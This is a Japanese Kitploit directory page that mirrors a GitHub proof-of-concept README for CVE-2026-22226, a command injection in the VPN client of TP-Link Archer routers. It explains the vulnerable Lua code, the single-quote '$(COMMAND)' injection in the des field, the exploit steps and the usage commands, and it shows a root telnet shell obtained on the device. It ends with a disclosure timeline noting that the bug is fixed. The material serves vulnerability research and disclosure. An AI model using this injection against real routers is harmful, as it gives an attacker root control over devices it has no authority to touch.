Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22226 — CVE-2026-22226 の概念実証 | Kitploit
ツール/GitHubGitHub/lucasvanhaaren/cve-2026-22226
IoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ワイヤレスセキュリティペネトレーションテストコマンド&コントロール
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

CVE-2026-22226 の概念実証

リポジトリを見る
111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2026-22226

CVE-2026-22226 の Proof of Concept

TP-Link Archer Wi-Fi ルーターのVPNクライアントにおける認証済みLAN側OSコマンドインジェクション


脆弱性の概要

VPNクライアントのコントローラは、ユーザー制御のエントリ説明(des)を、脆弱な検証正規表現でUCI設定に保存します。後にWebUIでエントリを編集するために読み戻すとき、get_ovpn_data() は des をサニタイズなしで os.execute() に渡される引用符付きシェルコマンドに挿入します:

root@kitploit:~
-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

シングルクォート文字(')は検証正規表現を通過するため、シェルの引用符から抜け出し、$() 置換を介してコマンドを注入するのに十分です。'$(COMMAND)' に設定された des フィールドは、コマンドを次のように変えます:

root@kitploit:~
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

コマンド出力はHTTPレスポンスで返されることはないため、このインジェクションはブラインドです。そのため、帯域外チャネルが必要です(ここではPoCスクリプトが telnetd サーバーを起動して対話型シェルを取得します)。

概念実証

[!Note] このスクリプトはTP-Link Archer AX73(AX5400、HW v2.0 EU、FW v1.2.1 - Build 20250717)でのみテストしましたが、他のArcherデバイスも同様に脆弱である可能性が高いです。

このPoCは次のプロセスに従います:

  • LuCI に admin として認証する
  • ダミーの .ovpn 設定ファイルをアップロードする
  • 改ざんした des フィールドを持つVPNクライアントエントリを挿入し、シングルクォートのコンテキストをエスケープしてコマンド置換を介してペイロードを注入する
  • エントリを読み戻すことで get_ovpn_data() をトリガーし、改ざんされた des を os.execute() に渡す
  • 改ざんされたVPNエントリをクリーンアップする(これにより後でエクスプロイトを再実行できます)

[!Warning] この脆弱性の悪用は、許可されたシングルクォート文字を介して des 入力検証をバイパスし、ルーター上で root としてOSコマンド実行(デバイスの完全な侵害)につながります。

使用方法

Pythonの依存関係はスクリプト内にインラインで宣言されているため、最新のPythonプロジェクトマネージャーで直接実行するか、pip で手動インストールできます:

root@kitploit:~
# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
  • poc.py に対象IP、認証情報、ペイロードを設定する

  • スクリプトを実行します:

root@kitploit:~
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • 起動されたtelnetdサーバーと対話します:
root@kitploit:~
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

タイムライン

  • 2026-02-18 : 詳細なレポートと概念実証スクリプトを添えてTP-Linkに脆弱性を報告
  • 2026-03-25 : TP-Linkがレポートを認識し、プロセスに最大90日かかる可能性があると通知
  • 2026-05-13 : TP-Linkからさらに30日間の延長依頼があり、これを受け入れ
  • 2026-05-16 : CVE-2026-22226 が割り当てられ、数日前に別の研究者がBE230で報告した同じバグを追跡 ; 開示日は2026-07-22に設定
  • 2026-06-04 : 修正済みのAX73ファームウェアがリリース(v1.3.1)
  • 2026-07-22 : 公開開示

参照

  • CVE-2026-22226
  • TP-Link security advisory
ツールをダウンロード